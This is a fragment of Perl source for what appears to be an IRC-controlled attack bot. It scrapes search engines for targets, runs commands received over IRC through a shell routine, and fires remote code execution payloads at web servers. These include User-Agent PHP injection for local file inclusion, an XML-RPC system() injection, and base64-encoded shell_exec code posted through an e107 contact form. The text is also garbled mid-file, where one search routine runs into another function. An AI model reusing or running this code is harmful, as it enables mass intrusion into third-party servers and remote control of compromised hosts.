$b<\/strong>/i) {$b=50;}
while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
if ($1 !~ /blekko/){
my $link = $1;
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub onet() {
my @list;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=50; $b+=1) {
my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
my $res = &search_engine_query($search);
while ($res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
#########################################
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","4,1No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 2; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub cmdlfi() {
my $browser = LWP::UserAgent->new;
my $url = $_[0];
my $cmd = $_[1];
my $chan = $_[2];
my $hie = "j13mbut /dev/stdout\"); ?>j13mbut";
$browser->agent("$hie");
$browser->timeout(7);
$response = $browser->get( $url );
if ($response->content =~ /j13mbut(.*)j13mbut/s) {
&msg("$chan","15,1(4@9CMDLFI15)9 $1");
} else {
&msg("$chan","15,1(4@9CMDLFI15)4 No Output");
}
}
sub cmdxml() {
my $jed = $_[0];
my $dwa = $_[1];
my $chan = $_[2];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "";
$exploit .= "test.method";
$exploit .= "',''));";
$exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*";
my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
if ($response->content =~ /bamby(.*)solo/s) {
&msg("$chan","15,1(4@9CMDXML15)9 $1");
} else {
&msg("$chan","15,1(4@9CMDXML15)4 No Output");
}
}
sub cmde107() {
my $path = $_[0];
my $code = $_[1];
my $chan = $_[2];
my $codecmd = encode_base64($code);
my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
my $req = HTTP::Request->new(POST => $path);
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(7);
my $res = $ua->request($req);
my $data = $res->as_string;
if ( $data =~ /ByroeNet(.*)/ ){
$mydata = $1;
&msg("$chan","15,1(4@9CMDe10715)9 $mydata");
}
else { &msg("$chan","15,1(4@9CMDe10715)4 No Output"); }
}
sub proxy() {
my $chan = $_[0];
my $reqip= "$_[1]";
for ($b=0; $b<=5; $b+=1) {
my $siteproxy = ("http://www.xroxy.com/proxylist.php?port=&type=Not_transparent&ssl=ssl&country=&latency=3000&reliability=&sort=latency&desc=&pnum=".$b."#table");
$Resul = &get_content($siteproxy);
print $Resul;
while ($Resul =~ m/proxy&host=(.+?)&port=(.+?)¬es/g) {
my $proip = $1;
my $port = $2;
my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2);
if ($scansock && $proip =~ /^$reqip/) {
my $url = 'http://www.cmyip.com/index.php';
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(1);
$ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
$ua->env_proxy;
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req)->content;
delete $ENV{HTTP_PROXY};
if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
&msg("$chan","15,1(4@9PROXY15)(4@9My-PROXY15) 13Accept $proip:$port ");
}
}
}
}
&msg("$chan","15,1(4@9PROXY15)13 Checking xroxy Finished");
for ($b=0; $b<=5; $b+=1) {
my $siteproxy = ("http://proxies.my-proxy.com/proxy-list-s".$b.".html");
$Resul = &get_content($siteproxy);
print $Resul;
while ($Resul =~ m/
(.+?):(.+?)
/g) {
my $proip = $1;
my $port = $2;
my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2);
if ($scansock && $proip =~ /^$reqip/) {
my $url = 'http://www.cmyip.com/index.php';
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(1);
$ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
$ua->env_proxy;
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req)->content;
delete $ENV{HTTP_PROXY};
if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
&msg("$chan","15,1(4@9PROXY15)(4@13My-Proxy15)13Accept $proip:$port ");
}
}
}
}
&msg("$chan","15,1(4@9PROXY15)13 Checking my-proxy Finished");
for ($b=0; $b<=5; $b+=1) {
my $siteproxy = ("http://www.cooleasy.com/?act=list&port=&type=elite&country=&page=".$b);
$Resul = &get_content($siteproxy);
print $Resul;
while ($Resul =~ m/(.+?)<\/td>/g) {
my $proip = $1;
my @port = ("80","8080","3128");
foreach my $port (@port) {
my $scansock = IO::Socket::INET->new(PeerAddr => $proip, PeerPort => $port, Proto =>'tcp', Timeout => 2);
if ($scansock && $proip =~ /^$reqip/) {
my $url = 'http://www.cmyip.com/index.php';
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(1);
$ENV{HTTP_proxy} = "http://".$proip.":".$port."/";
$ua->env_proxy;
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req)->content;
delete $ENV{HTTP_PROXY};
if ($res =~ m/Quick and Easy way to SEE my IP address/g) {
&msg("$chan","15,1(4@9PROXY15)(4@13CoolEasy15) 13Accept $proip:$port ");
}
}
}
}
}
&msg("$chan","9,1(4@9PROXY15)13 Checking cooleasy Finished");
} |